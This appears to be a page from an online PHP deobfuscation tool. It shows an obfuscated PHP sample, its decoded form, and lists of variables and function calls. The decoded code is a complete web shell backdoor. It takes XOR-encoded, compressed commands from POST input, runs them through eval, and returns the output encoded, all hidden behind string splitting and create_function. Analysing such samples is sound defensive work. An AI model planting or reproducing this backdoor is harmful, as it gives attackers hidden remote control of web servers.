Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $s=str_replace('HS','','HScreHSaHSte_HSfHSunctHSion'); $c='htBwMZbjLIKU";fUuncUtio..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="2cb00388";$kh="f2110209ccb1";$kf="5e8ec3ab5835";$p="hbV0fhtBwMZbjLIK";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$s=str_replace('HS','','HScreHSaHSte_HSfHSunctHSion');
$c='htBwMZbjLIKU";fUuncUtion x($t,U$Uk)U{$c=strlen($k);$l=sUtrleUUn($tU);$o';
$E='();$Ur=@base6U4U_encUode(@x(@gzUcompressU($o),U$k)U);print("$pU$kh$rU$kf");}';
$P='$k="2cb00U388"UU;$kh="f21U10209cUcb1";$kUf="5e8ec3Uab5U8U35U";$pU="hbV0f';
$h='="";Ufor(U$Ui=0;$i<$l;){forU($j=U0;($j<$c&&$i<$lU);$Uj++,$Ui++U){$o.=U$t{$i}^$';
$F='tents("php:/U/inpUut"U),$m)=U=1) {@ob_UstUart();@eUval(@gzuUncompreUss(@x(@b';
$C='aUse6U4_decodeU($m[U1]),$Uk)));$Uo=@ob_getU_cUontenUts()U;@ob_end_cleUan';
$a='k{$j}U;}}UreturUn $o;}if (U@preUg_match(U"U/$kh(.+)$kUf/",@fUilUe_get_UcoUn';
$b=str_replace('U','',$P.$c.$h.$a.$F.$C.$E);
$A=$s('',$b);$A();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$C aUse6U4_decodeU($m[U1]),$Uk)));$Uo=@ob_getU_cUontenUts()U;@o..
$E ();$Ur=@base6U4U_encUode(@x(@gzUcompressU($o),U$k)U);print("..
$F tents("php:/U/inpUut"U),$m)=U=1) {@ob_UstUart();@eUval(@gzuU..
$P $k="2cb00U388"UU;$kh="f21U10209cUcb1";$kUf="5e8ec3Uab5U8U35U..
$a k{$j}U;}}UreturUn $o;}if (U@preUg_match(U"U/$kh(.+)$kUf/",@f..
$b $k="2cb00388";$kh="f2110209ccb1";$kf="5e8ec3ab5835";$p="hbV0..
$c htBwMZbjLIKU";fUuncUtion x($t,U$Uk)U{$c=strlen($k);$l=sUtrle..
$h ="";Ufor(U$Ui=0;$i<$l;){forU($j=U0;($j<$c&&$i<$lU);$Uj++,$Ui..
$k 2cb00388
$p hbV0fhtBwMZbjLIK
$s create_function
$kf 5e8ec3ab5835
$kh f2110209ccb1

Stats

MD5 228b25683455664b059ec2bb7ccccdc1
Eval Count 1
Decode Time 305 ms